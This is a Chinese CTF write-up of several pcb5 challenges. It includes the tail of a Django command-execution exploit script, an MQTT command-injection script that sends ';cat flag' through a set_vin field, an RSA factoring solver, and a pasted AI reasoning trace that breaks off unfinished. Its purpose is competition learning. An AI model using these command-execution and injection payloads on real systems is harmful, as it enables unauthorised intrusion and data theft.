# 读取flag
python exploit.py http://target:8000 --read-flag
# 读取自定义路径的flag
python exploit.py http://target:8000 --read-flag --flag-path /flag.txt
# 自定义缓存配置
python exploit.py http://target:8000 -c "whoami" --cache-key pwn2 --cache-path /var/cache
"""
)
parser.add_argument('target', help='目标URL (如 http://localhost:8000)')
parser.add_argument('-c', '--command', help='要执行的shell命令')
parser.add_argument('--read-flag', action='store_true', help='读取flag到static目录')
parser.add_argument('--find-flag', action='store_true', help='探测flag位置')
parser.add_argument('--flag-path', default='/flag', help='flag文件路径 (默认: /flag)')
parser.add_argument('--cache-key', default='pwn', help='缓存键名 (默认: pwn)')
parser.add_argument('--cache-path', default='/tmp/django_cache', help='缓存目录 (默认: /tmp/django_cache)')
args = parser.parse_args()
# 创建exploit实例
exploit = Exploit(
target_url=args.target,
cache_key=args.cache_key,
cache_path=args.cache_path
)
# 执行攻击
if args.find_flag:
# 探测flag位置
print("\n[*] 探测flag位置...")
commands = [
("查找flag文件", "find / -name 'flag*' -type f 2>/dev/null | head -5"),
("根目录内容", "ls -la /"),
("当前目录", "pwd"),
("环境变量", "env | grep -i flag"),
]
for desc, cmd in commands:
print(f"\n[{desc}]")
exploit.exploit_command_exec(cmd)
time.sleep(0.5)
elif args.read_flag:
exploit.exploit_read_flag(args.flag_path)
elif args.command:
exploit.exploit_command_exec(args.command)
else:
parser.print_help()
print("\n[!] 错误: 必须指定 -c/--command 或 --read-flag 或 --find-flag")
sys.exit(1)
if __name__ == '__main__':
main()
命令:python3 exploit.py http://192.168.18.27:25003/ -c "cat /flag"
注意使用linux系统运行
PWN
pcb5-Heartbeat_Out_of_Bound
CISCN原题,cos一下
可以理解为提供mqtt服务的代理服务器,每个客户端都要连接它,通过subscribe(订阅)topic(主题),并在指定的topic上发布消息,所有与这个broker相连接的,订阅相同topic的client都能收到发布者客户端发布的消息。broker承担的主要就是一个中继器的作用,负责接受发布者的消息,并分发给订阅相同topic的client。
都需要连接到broker,通过给broker发布指定topic的消息,让其它订阅相同topic的client收到
client1,2,3,4同时连接broker,client1,2,3订阅topic"diag" ,这时client4发送topic为"diag" msg="hello"给broker,broker会向同时订阅topic="diag"的client1,2,3发送这个消息
漏洞点存在于当cmd为set_vin的时候,存在明显的命令注入
from pwn import *
from pwncli import *
import time
import paho.mqtt.client as mqtt
import json
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
\# def get_sb():
\# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
gdb.attach(p)
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
p = process('./pwn')
def publish(client,topic,auth,cmd,arg):
msg = {
"auth":auth,
"cmd":cmd,
"arg":arg
}
result = client.publish(topic = topic, payload = json.dumps(msg))
print(json.dumps(msg))
print(result)
return result
def on_connect(client, userdata, flags, rc):
client.subscribe("vehicle_diag")
client.subscribe("diag")
client.subscribe("#") # 订阅所有
client.subscribe("diag/resp")
print("Connected with result code " + str(rc))
def on_subscribe(client,userdata,mid,granted_qos):
print("消息发送成功")
def on_message(client, userdata, msg):
message = msg.payload.decode()# Decode message payload
print(f"Received message on topic '{msg.topic}': {message}")
print(message)
def sum2hex(dest):
v3 = 0
for i in range(len(dest)):
v3 = (0x1f * v3 + ord(dest[i])) & 0xffffffff
log.success(f"sum2hex -> {v3:08x}")
return f"{v3:08x}"
topic = "diag"
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.on_subscribe = on_subscribe
client.connect(host = "192.168.18.23",port = 19999, keepalive=10000)
auth = sum2hex("test")
publish(client,"diag",auth,"set_vin","111111111111")
sleep(0.5)
publish(client,"diag",auth,"set_vin",";cat flag")
publish(client,"diag",auth,"set_vin",";cat flag")
sleep(1)
client.loop_start()
inter()
# flag{71ece1228dbab5d45cd431b6bfaa}Crypto
pcb5-babyRSA
加密是 RSA:
- n=pqn=pqn=pq
- c=me mod nc=m^e \bmod nc=memodn
- 输出给了
c、leak、d
其中泄露为:
leak=3p2−13pqleak=\frac{3p^2-1}{3pq}leak=3pq3p2−1
- 化简 leak
leak=3p23pq−13pq=pq−13pqleak=\frac{3p^2}{3pq}-\frac{1}{3pq}=\frac{p}{q}-\frac{1}{3pq}leak=3pq3p2−3pq1=qp−3pq1
又因为 n=pqn=pqn=pq,所以:
leak=pq−13nleak=\frac{p}{q}-\frac{1}{3n}leak=qp−3n1
因此:
pq=leak+13n\frac{p}{q}=leak+\frac{1}{3n}qp=leak+3n1
注意:13n\frac{1}{3n}3n1 大小约为 2−20482^{-2048}2−2048 级别,极其微小;题目用 decimal.getcontext().prec = 1024 打印 leak,精度足够让我们把 leak 当成 p/qp/qp/q 的高精度近似。
- 用 r≈p/qr \approx p/qr≈p/q 快速恢复 p,q
令 r≈p/qr \approx p/qr≈p/q,则:
p2=n⋅pq≈n⋅r⇒p≈nrp^2 = n\cdot \frac{p}{q} \approx n\cdot r \Rightarrow p\approx \sqrt{nr}p2=n⋅qp≈n⋅r⇒p≈nr
同理:
q≈nrq \approx \sqrt{\frac{n}{r}}q≈rn
因此只要:
- 把
leak解析成一个有理数/高精度数; - 计算 p0=⌊n⋅leak⌋p_0=\lfloor\sqrt{n\cdot leak}\rfloorp0=⌊n⋅leak⌋;
- 在 p0p_0p0 附近小范围微调,找出真正能整除
n的因子即可。 - 解密拿 flag
题目直接给了 d,一旦分解出 n:
m≡cd(modn)m \equiv c^d \pmod nm≡cd(modn)
然后 long_to_bytes(m) 就是 flag。
from Crypto.Util.number import long_to_bytes
from fractions import Fraction
from math import isqrt
# ======= paste values here =======
n = 0 # <- TODO: paste n (int)
c = 7908369000608075306226552240713890041649799894903074579356627811865842237315201153498579205223600526520994811661608630888045462921547166872107507948062717836952855804806976414887413729060431265217539895710936669089248515746191716161194996469977577048602427553584286064475300979649416171469313168995504717602670924606819204605601860560767900702512753735554900344201907921239415885901489708576066483012272256175573658509614344875077232108364134161997767814675830320630271209201503987787921279932886374846298269125068817280777403718279754392091441050281244934594776307137448975055247018414699621410668188864774860026941
d = 16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372508503902598331950861474527128323735250673137355260113147338636761737748874105625008482750923429512271416511835596944209137554445130949731646669691366003832655082535985891463876904334888009751956386994969339847254470145428608062575606120441725590059524749595027078238962391188809496875025237129899849787699468205026040721
leak_str = "1.396995694831414203476063690838730308815841662737318558906107823553922718340982125801595368449608188770051881765292978548960520326036779130167518285237817101541807766017642530065080930654694948943506714268685400709580398894902693407016988670394423892586264077247263710263220932577837642377245651448838665854362532801659965471421937839336237670710012298796758992931116659292915200628873553198226185187089027680973673618973869464164460226697625936493428822424637497370197316811245879504779934098600596822159243994319583651080005054538419168988020562590543262648544970376255020489363894055887067948343768399654357738592577280906555896933717091837896978973488220368081406433117367524537063718421897982643644320078600517763936883820416362057895941185749296170109172249907094176821124345672294602380784325702476105763209165109703429326132417850746805701054961710623030742187505484821961670922386999933202645522248608323217011522889282323071281405301772218220381951540118124201599862330377374571641729649420917168701463539034702411"
# =================================
def frac_from_decimal_str(s: str) -> Fraction:
s = s.strip()
if "." not in s:
return Fraction(int(s), 1)
neg = s.startswith("-")
if neg:
s = s[1:]
a, b = s.split(".")
num = int(a + b)
den = 10 ** len(b)
f = Fraction(num, den)
return -f if neg else f
def solve_pq_from_leak(n: int, leak: Fraction):
# leak = p/q - 1/(3n) => p/q = leak + 1/(3n)
r = leak + Fraction(1, 3 * n)
# p ~ sqrt(n * r) = sqrt(n * r_num / r_den)
t = (n * r.numerator) // r.denominator
p0 = isqrt(t)
# adjust around p0
for delta in range(-2000, 2001):
p = p0 + delta
if p > 1 and n % p == 0:
q = n // p
return (p, q) if p > q else (q, p)
raise ValueError("factor not found; try increasing delta range or check inputs.")
if __name__ == "__main__":
if n == 0:
raise SystemExit("Please paste n.")
leak = frac_from_decimal_str(leak_str)
p, q = solve_pq_from_leak(n, leak)
m = pow(c, d, n)
print("p =", p)
print("q =", q)
print("flag =", long_to_bytes(m))
# flag{th1s_1s_4_ture_fl4g}pcb5-weak_leak
出题人flag忘删了哦!!
flag{7980dd68-c028-439d-8f33-3b4e4cfeeb55}
pcb5-true_or_false
出题人flag忘删了哦!!
pcb5-PECO
AI一把锁了:
下面是具体过程
Analyzing CTF challenge with task.py
The user seems to want help getting the flag from a challenge involving some large numbers and code. The file includes variables like n, c, gift1, gift2, and generates random primes like p and q. These might be used for debugging, but it's unclear how to extract the actual flag (as the secret values are missing).
Assessing flag extraction from task.py
The user is trying to extract the flag but the constants n, c, gift1, and gift2 seem to be overwritten in the script by random primes and other computations. The initial values likely become irrelevant. The real key might be the specific output from the script when run, especially around gift1, which looks like it might contain useful data.
Clarifying gift1 and gift2 in the script
The user is digging into how gift1 and gift2 are used in the script. It looks like the initial constants for these values (A and a large number for gift2) were overwritten by new expressions in the code when run. To retrieve the flag, we might need to reverse engineer the values printed during actual execution.
Interpreting gift1 and n values
It seems the initial values for gift1 and n might not align with the printed values from the script. The constants at the top likely represent sample values for the challenge, and the later generated values are for local computation and demonstration. I’m noticing that the size of n is suspiciously large, suggesting it's a different scale. I’ll check its magnitude.
Analyzing the size of n, c, and gift2
The n value seems huge and could be around 4096 bits, with the associated c also being large and similar in size. The gift2 value is also large, but when printed, it shows a smaller number. This implies that the values at the top might be from the initial challenge, and the rest of the script could just be for demonstration or debugging.
Reconstructing the FLAG from available data
It seems like the task's second part is likely an admin-only view, with key values like p and q being generated locally. Without the 'secret' module or specific x, y values used in the equations, reconstructing the FLAG might require solving cryptanalytic challenges using gift1, gift2, and the constraints given, without the exact values.
Understanding the challenge code structure
It seems like the challenge script builds the constants (n, c, gift1, gift2) based on generated values when run. However, the release version might provide these constants directly without the generation code, leaving out the secret import. The task would then give constants and affirmations while omitting variable generation steps.
Evaluating possible script behavior
The script likely contains both challenge constants (n, c, gift1, gift2) and a generator (for testing), which may have caused an accidental mismatch due to overwriting. It might also define constants first and use commented-out code for variables like m, p, q. I'll inspect the file fully to clarify this.
Analyzing cryptographic challenge and recovering flag
bash -lc ls -l /mnt/data && sed -n '1,200p' /mnt/data/task.py已分析
Assessing file and challenge approach
So, the file looks just like the snippet, but the secret module and values for x, y, and FLAG are missing. It seems like the goal is to derive the FLAG using the provided constants. The new prime generation might be an accidental leftover. It could be useful to factor n, but it's likely too large. Gift1 and gift2 might help with part of the puzzle.
Analyzing gift1 values and constants
So, the constant for gift1 seems to be a large coefficient (A), not the printed value. If the gift1 printed value comes from Ax^2 - By^2, it wouldn’t fit unless x and y are small enough. It looks like gift1 is actually a coefficient, and the values for A and B should be considered carefully to understand their role.
Considering x, y values and how gift1 behaves
If x and y are small, then gift1 will lean on B*y^2, which will be negative. For gift1 to be positive, x needs to be significantly larger than y. If x=1 and y=0, gift1 equals A, but y=0 might complicate things. I’m also wondering about the assert with y=0.
Thinking through the p, q and m relationship
Okay, maybe the script intentionally uses x=1 and y=0 so that gift1 equals A, but then it doesn’t help with info. The key challenge might lie in the relationship between m, p, and q. Could m be the plaintext in RSA? I wonder if there's a file with p and q hidden elsewhere.
Analyzing the constants and solving for x, y
Hmm, the constants and equations might help solve for x and y. If we treat the gift1 value as the actual output, we could use the known coefficients A and B to solve the equation Ax^2 - By^2 = gift1. It looks like a Pell-like equation. Still, even with x and y, we’d also need to figure out m.
Considering recovery of m and flag
I’m thinking maybe we can use the RSA setup and some partial information, like gift2 and x,y, to eventually recover m. The inequality from the assert might also help us recover flag halves f0 and f1 if we can figure out m somehow. We could potentially leverage Coppersmith’s method using the leaked bits from gift2 and the relation with n.
Exploring p and q recovery with modular arithmetic
The problem seems to boil down to solving for p and q using their relation mod 2^777. By leveraging known lattice attacks for partial bits of prime factors and using modular inverses, I might be able to compute p mod 2^777. I'll explore step-by-step, focusing on bitwise techniques like Hensel lifting for increasing precision.
Using modular arithmetic and lattice-based techniques
I can compute p mod 2^777 and use it to find q mod 2^777. Once we have these, I might use Coppersmith’s method to factor n, utilizing the low bits of p and solving for the high bits. With this approach, the main challenge is deriving p from the given relation to recover m and eventually the flag.
Considering lattice solution for f0, f1 recovery
We can recover f0 and f1 using lattice techniques, given the modular relation with a small remainder. These values come from the ASCII halves of the FLAG string, each around 160 bits. If x and y are large, say around 1700 bits, we can potentially solve for f0, f1, factoring in the small remainder.
Designing the algorithm for flag recovery
I need to outline the steps clearly:
- Solve for p and q using n and the gift2 equation.
- Decrypt m using modular arithmetic with the private key.
- Solve for x, y from the gift1 equation, considering that gift1 could be the constant 1293023064, leading to an equation for x, y.
We know the relation for x, y and will test the smallest solution. The flag's first half seems to be smaller than 99 bits.
Analyzing the gift1 and gift2 values
It seems that gift1 might actually be the coefficient A, which is suspiciously equal to the constant printed in the challenge. This suggests there could be some confusion in the naming conventions used. I suspect gift2 might also be used differently, but I'll need to confirm this before proceeding with solving the Pell-type equation.
Investigating gift1 and gift2 coefficients
It looks like there’s inconsistency with the coefficients in the gift1 and gift2 outputs. For gift1, they might have accidentally used A as a coefficient instead of the expression result. For gift2, they seem to have copied it correctly. Next steps involve computing gcd(A, B) to explore possible solutions.
Computing gcd of coefficients for Pell equation
from math import gcd
A=1293023064232431070902426583269468463
B=105279230912868770223946474836383391725923
g=gcd(A,B)
g, A.bit_length(), B.bit_length()已分析
Exploring GCD and its implications
Interesting! The fact that gcd(A, B) equals A means A divides B. That’s useful because it tells me that B is a multiple of A. Now, I can compute B//A to explore their relationship further. Let’s see what that gives us!
Computing division of B by A
B//A已分析
Understanding the Pell equation and gift1
Nice! Since B = A * 81421, the print expression simplifies to A * (x² - 81421 * y²), meaning the output for gift1 is A * (x² - 81421 * y²). This relation matches a classic Pell equation, where x² - 81421 * y² = 1. So, gift1 will equal A if x and y satisfy this equation. Great, now I'm more certain about how gift1 works!
Interpreting gift1 and Pell solutions
Gift1’s output being A confirms that x and y satisfy the Pell equation, but it doesn’t tell us which specific solution was chose. Since Pell has infinite solutions, the minimal positive solution is likely used, especially in a CTF context. However, we'd still need additional clues to determine it.
Considering Pell solutions and the flag recovery
The gift1 print uses coefficients A and B, with secret x and y. If they satisfy the Pell equation, gift1 equals A. The smallest solution for x and y could be computed from the fundamental solution to Pell, using continued fractions. However, if a different solution is used, we'd need to guess the exponent.
Determining x and y from Pell solutions
If we choose another solution, it seems the remainder condition might not hold. But maybe we can deduce x and y from other information, possibly from gift2 or n—but probably not. If x and y are small, we know the Pell fundamental solution is fixed and deterministic, so we can compute it from the equation.
Computing fundamental solution of Pell's equation
import math, sympy as sp
D=81421
x1,y1=sp.ntheory.residue_ntheory.pell_solution(D,1) # not sure if exists
x1,y1已分析
Checking for Pell equation solver in SymPy
I think SymPy may have a solver for Pell’s equation. There's a function sympy.solvers.diophantine.diophantine.pell that might help, so I’ll quickly check that out to see if it works for solving this equation.
Searching for Pell equation solver in SymPy
import sympy as sp, inspect, sympy
dir(sp.ntheory)[:50], [name for name in dir(sp) if 'pell' in name.lower()]已分析
Implementing Pell’s equation using continued fractions
It looks like SymPy doesn't provide a direct solution for Pell’s equation. So, I’ll go ahead and implement it myself, using continued fractions to compute the minimal solution to the equation x² - Dy² = 1. I’ll write up a function to handle that.
Computing minimal solution to Pell's equation
import math
def pell_fundamental(D):
a0 = int(math.isqrt(D))
if a0*a0 == D:
return None
m=0
d=1
a=a0
num1=1
num=a
den1=0
den=1
# convergents num/den for sqrt(D)
while num*num - D*den*den != 1:
m = d*a - m
d = (D - m*m)//d
a = (a0 + m)//d
num2=num1
num1=num
den2=den1
den1=den
num = a*num1 + num2
den = a*den1 + den2
return num, den
x,y=pell_fundamental(81421)
x.bit_length(), y.bit_length(), x,y已分析
Checking bit length of n for decryption
x and y are large, 1794-bit and 1786-bit, and their size seems right because m is 1876-bit. Working with a combination of xf0 + yf1 gives a bit size around 1894 bits, similar to m. Now, to recover m and f0,f1 from the inequality, I need to calculate the bit length of n, which is encrypted with RSA. Let's compute.
Computing bit length of RSA modulus
n=int("18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413")
c=int("8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127")
gift1=int("1293023064232431070902426583269468463")
gift2=int("26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614")
n.bit_length(), c.bit_length(), gift2.bit_length()已分析
Factoring RSA modulus using gift2 leak
n is 2048 bits, and the primes p and q are 1024 bits. Gift2 provides a 773-bit value, close to 777, which matches the output of the computation. To use the gift2 leak and other info to factor the RSA modulus, I'll solve for p and q, using a modular approach based on Coppersmith’s method and the gift2 leakage.
Using Hensel lifting for p and q solution
For each candidate of p0, I calculate q0 = n * inv(p0) mod 2^k and check if the equation (p0^7 + q0^13) mod 2^k equals s. I’ll use Hensel lifting to find the solution step by step, starting with mod 2 and extending bit by bit until the solution is found. First, I need to check if gift2 is even.
Factoring RSA modulus using gift2 leak
gift2 % 2已分析
Lifting p and q through Hensel’s lemma
Since mod2 holds, I can proceed with step-by-step lifting. At each step, there are two possibilities for the next bit of p, which can either add 0 or 2^(t-1). I'll use Hensel's lemma to test both, choosing the correct one. Testing 2 possibilities for each of 777 steps is computationally feasible.
Ensuring unique path and efficient updates
I need to ensure a unique path, which may involve managing possible branching. Even if there's branching, BFS with pruning should suffice, though it's tricky if branches grow too large. I'll maintain pp modulo 2t2t and compute the inverse iteratively to avoid recalculating from scratch. Python’s pow(p, -1, mod) should be efficient enough for repeated use, so I’ll focus on delivering computations with each step.
Implementing bit-lifting for computing p mod 2^777
I will implement bit-lifting to calculate pmod 2777pmod2777 and then work on recovering pp using Coppersmith’s method. Initially, I'll compute p0p0 modulo powers of 2, testing candidates for each step by checking if they satisfy the relation p7+q13−smod 2tp7+q13−smod2t, where qq depends on pp.
Implementing bit-lifting for modular equation solving
n = int("""18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413""")
c = int("""8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127""")
gift2 = int("""26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614""")
k=777
s=gift2
def lift_p(n, s, k):
p=1 # mod2
t=1
while t<k:
mod=1<<(t+1)
sols=[]
for b in (0,1):
p2 = p + (b<<t)
# compute q mod mod
inv = pow(p2, -1, mod)
q2 = (n * inv) % mod
val = (pow(p2,7,mod) + pow(q2,13,mod) - (s % mod)) % mod
if val==0:
sols.append(p2)
if len(sols)==0:
# no solution
return None, t
# choose one solution. if two, keep both? return list
if len(sols)>1:
# ambiguous
# For now pick smallest
p=sols[0]
else:
p=sols[0]
t+=1
return p, t
p_low, t_reached = lift_p(n, s, k)
t_reached, p_low is None, p_low.bit_length()已分析
Clarifying string formatting and avoiding confusion
I think I may have accidentally included ... inside a string when assigning values to variables like n, causing some confusion while working with the triple quotes. It seems the string was interpreted correctly, even though the ellipsis was part of the comment. To stay clear, I'll avoid this formatting issue moving forward and use the correct variables.
Executing lift with existing variables
I’m going to proceed with the lift using the existing values for n and gift2, along with c and others. Let's just run the lift and see how it behaves with the current setup, keeping things simple by using what's already defined.
Clarifying variable truncation and conversion issues
# use existing n and gift2 variables from earlier cell
n, gift2已分析
Running lift process
The values appear to be truncated in the display, but they're actually the full values. Now, I’ll go ahead and execute the lift process with these full values, as everything looks ready to go. Let’s see how it unfolds with this step!
Running lift algorithm for truncated values
def lift_p_unique(n, s, k):
p=1
t=1
ambiguous_steps=[]
while t<k:
mod=1<<(t+1)
sols=[]
for b in (0,1):
p2 = p + (b<<t)
inv = pow(p2, -1, mod)
q2 = (n * inv) % mod
val = (pow(p2,7,mod) + pow(q2,13,mod) - (s % mod)) % mod
if val==0:
sols.append(p2)
if len(sols)==0:
raise ValueError(f"No lift at t={t}")
if len(sols)==2:
ambiguous_steps.append(t)
# pick both? For now choose first (b=0) but keep record
# We'll keep p as the smaller; maybe wrong.
p=sols[0]
else:
p=sols[0]
t += 1
return p, ambiguous_steps
p_low, amb = lift_p_unique(n, gift2, 777)
len(amb), amb[:10], p_low.bit_length()已分析
Implementing BFS for branching solutions
At t=4, it seems that there's no solution with our current p path, which suggests an earlier step might have been ambiguous or there are multiple branches. I'll implement BFS to explore both branches in case of ambiguity, pruning duplicates as we go. This way, I can test solutions up to t=k, and explore all potential paths!
Implementing BFS with branching for modular lifting
from collections import defaultdict
def lift_p_all(n, s, k, max_states=10000):
states=[1] # solutions mod 2
t=1
while t<k:
mod=1<<(t+1)
new_states=[]
for p in states:
for b in (0,1):
p2 = p + (b<<t)
inv = pow(p2, -1, mod)
q2 = (n*inv) % mod
val = (pow(p2,7,mod) + pow(q2,13,mod) - (s % mod)) % mod
if val==0:
new_states.append(p2)
# remove duplicates mod 2^{t+1}
new_states=list(set(new_states))
if len(new_states)==0:
raise ValueError(f"No solutions at t={t}")
if len(new_states)>max_states:
raise ValueError(f"Too many states {len(new_states)} at t={t}")
states=new_states
t += 1
return states
states_10=lift_p_all(n, gift2, 20, max_states=100000)
len(states_10), [st for st in states_10][:5]已分析
Exploring solutions and branching possibilities
Up to k=20, I’m seeing two solutions mod 2^20, indicating some branching. These could correspond to p and q swapped, though the symmetry from the exponents 7 and 13 complicates things. I'll proceed with BFS to lift to 777, keeping track of no more than two states per step. This should work fine!
Lifting solution states using BFS to k=777
states = lift_p_all(n, gift2, 777, max_states=1000)
len(states), [st.bit_length() for st in states][:10]已分析
Exploring solutions and factoring n
I’ve got two solutions for p mod 2^777, one with bit_length 774 and the other with 777. These represent potential low bits of p or q. I’ll start by using these candidates to factor n, then apply the lattice method to recover p. The x value should be small enough to proceed.
Applying Coppersmith's method for factorization
I can use Coppersmith’s method to solve for the small root of f(x) = p_low + 2^777 x such that f(x) divides n. We aim to find an x where f(x) ≡ 0 mod n, which would allow us to factor n. This method should help recover the unknown q and find x.
Refining factorization approach
I realized that the method of finding x to satisfy f(x) ≡ 0 mod p isn't quite working here. But, thinking through it some more, the approach might be to treat q as an unknown factor as well. I’ll switch to using a new polynomial, h(x) = (p0 + 2^k x) * y - n, for a more useful solution.
Refining factorization method
I’m considering the equation: (p0 + 2^k x) * q = n where q is about 1024 bits, and both x and q are unknown. I realize Coppersmith's method could help find small factors, but I’m thinking about approximating q as q0 = n // p0 and checking if n ≡ p0 * q0 (mod 2^k). This might simplify things.
Exploring factorization with low bits
I’m thinking about how to find the unknown high bits of p, given the known low bits. We want to use Coppersmith’s method to find small roots of the polynomial f(x)=p0+2kxf(x)=p0+2k**x, or use gcd computations to search the high bits efficiently. For q, we know its value modulo 2k2k, so using a similar approach, we might be able to express q as q=q0+2kyq=q0+2k**y.
Factoring using low bits of p and q
We have an equation with low and high bits of p and q. Using modular arithmetic, I can leverage the known low bits (777 bits) of each and combine methods like Chinese Remainder Theorem and approximate GCD to reconstruct the high bits of pp and qq. This can lead to a successful factorization, though it’s not straightforward.
Exploring search with meet-in-the-middle approach
I’m thinking about applying a search strategy by using p≈np≈n and known low bits. This approach involves computing high bits based on the modular equation. I can approximate qq by dividing nn by pp and then using Hensel lifting to reconstruct the full values of pp and qq.
Lifting factorization from mod 2^k to 2^1024
We can lift the factorization of pp and qq from mod 2k2k to higher moduli. By Hensel lifting, we can extend the known low bits of pp to its full 1024-bit value, and similarly determine qq. However, since not all solutions are actual integer factors, the requirement for pp and qq to be 1024-bit factors limits possibilities.
Analyzing factorization and modulus constraints
Hensel lifting might give actual factors if the modulus 2^{1024} exceeds p's size, but it's tricky because product congruence doesn’t guarantee exact equality. We need to account for all bits of n rather than just the low bits. To fully reconstruct p, we may need Coppersmith’s method to extract high bits while using information like the gift2 equation.
Considering p factorization using known low bits
Since we know p's low bits, I’m thinking we could try to approximate p by taking the square root of n and adjusting to match those bits using the Chinese Remainder Theorem. We also have the option of using Coppersmith's method to find small roots in a bivariate or simpler univariate version to solve for p more directly.
Exploring a solution for factoring RSA with partial bit knowledge
I’m considering solving the problem by computing the difference between n and p0*q0, then dividing it by 2^k. This leads me to a bivariate equation I could try using modular reduction, though it's tricky. I'm thinking of using lattice-based methods or implementing Coppersmith’s approach to refine the factorization.
Factoring using low bits and lattice methods
bash -lc python - <<'PY'
import pkgutil, sys
pkgs=[m.name for m in pkgutil.iter_modules()]
for name in ['fpylll','sageall','sage','Crypto','sympy']:
print(name, name in pkgs)
PY已分析
Implementing Coppersmith with LLL for univariate problem
I’m considering using sympy’s LLL implementation to help with the univariate Coppersmith method for solving the known low bit problem. The goal is to find a small root x for the polynomial f(x) = p0 + 2^k x. We aim to use lattice techniques for approximate common divisors.
Exploring polynomial construction and approximation
We can express n as n=f(x)×qn=f(x)×q, and approximate q by q=n/f(x)q=n/f(x). Then, we construct a polynomial g(x)=f(x)×floor(n/p0)−ng(x)=f(x)×floor(n/p0)−n. The error is small, but we need to check the linear relationship between xx and the error term.
Reconsidering approximation with lattice methods
The difference between p and p0 is large, yet the relative difference is surprisingly small when k=777. However, since p0 includes only the low bits of p, it cannot approximate p well, meaning q0 is not close to q. This necessitates the use of lattice methods and Coppersmith’s approach for factorization.
Considering Coppersmith's method and the bivariate equation
I’m thinking of using Coppersmith's technique for known least significant bits (LSBs). This involves setting up a polynomial and using the bivariate small root method to compute roots. While I could reduce this to a univariate problem, q still involves high bits. A bivariate approach might be necessary, possibly using LLL.
Breaking down the equation with known low bits
We know the 777 low bits of p and q. By calculating directly, we can compute the high bits using their constraints from the multiplication relation n = p*q. By splitting p and q into low and high bits, we can derive a congruence for n1 modulo 2^777. This allows us to obtain a linear equation for P1 and Q1 modulo 2^777.
Exploring the next steps for solving P1 and Q1
Since the product of p0 Q1 + q0 P1 is smaller than 2^1024, we gain partial information under modulo 2^777, but only about their lower bits. I wondered if we could extract more by dividing n further, specifically by considering n1 or n2. But, the complexity keeps growing—factoring higher bits of n might give us the key.
Exploring possible solutions for P1 and Q1
If we shift n by 1554 bits, we're left with something from the middle terms too. While some terms contribute little, others affect the high parts of n. I wonder if considering n modulo 2^1554 can help. It seems bivariate Coppersmith might work best here—I'll need to try solving using this approach and the gcd method.
Approaching the factorization of n
I’m trying to find p, which is close to multiples of 2^k, by considering p in the form p = p0 + 2^k P1. The idea is to treat p0 as a starting point and then adjust. While we can’t use a straightforward modular method, I’m thinking of approximating x near sqrt(n)/2^777 to simplify the process.
Thinking about the approximation of p and q
I’m considering how p and q might differ from sqrt(n). Since both are 1024-bit primes, the difference could be large, but the ratio between them is likely not huge — around 2. Applying this, I see that x can be approximated, but not precisely. We could try solving equations using low bits to narrow options.
Considering factoring approach using high bits
I think p and q might differ by just a small amount. We could test lattice-based methods, or maybe use GCD from a function to recover p and q. A direct brute force approach by using high bits is intriguing — perhaps modular equations can help recover them through a meet-in-the-middle technique.
Attempting to solve for x and y with congruence
I think I can solve for x and y by using the system of equations involving p0, q0, t, and u. While z can’t be ignored, it’s relatively small compared to x and y. This means we might isolate x and y using information about their high bits, which is manageable. A 777-bit congruence might help, too.
Trying to solve for x and y using lattice and polynomial methods
To solve for x and y, I’m considering using lattice-based techniques, as they seem to offer a way to work with the small 247-bit unknowns. Also, leveraging the second equation involving u could help simplify things. It feels like shifting and rearranging terms might reduce this to a solvable bivariate polynomial, where y can be derived from x. The gcd method might also come in handy to find these values.
Exploring factorization and small root methods
The current approach involves solving for x and y by exploiting polynomials and lattice techniques. I’ll try using Coppersmith’s method with bivariate polynomials since we’re looking to find small roots. While lattice methods could be useful for approaching small values in the equations, solving these steps might require tools like sympy to approximate solutions based on modular arithmetic and polynomials.
Considering factorization approaches for N_hi
It looks like trying to factor N_hi directly could be daunting, especially since it’s a 494-bit number. The approximation suggests that N_hi is close to the product of x and y, but factoring it remains challenging. I’ll likely need to proceed with a lattice-based method to handle this efficiently, as direct factoring isn’t feasible.
Implementing bivariate Coppersmith for polynomial solution
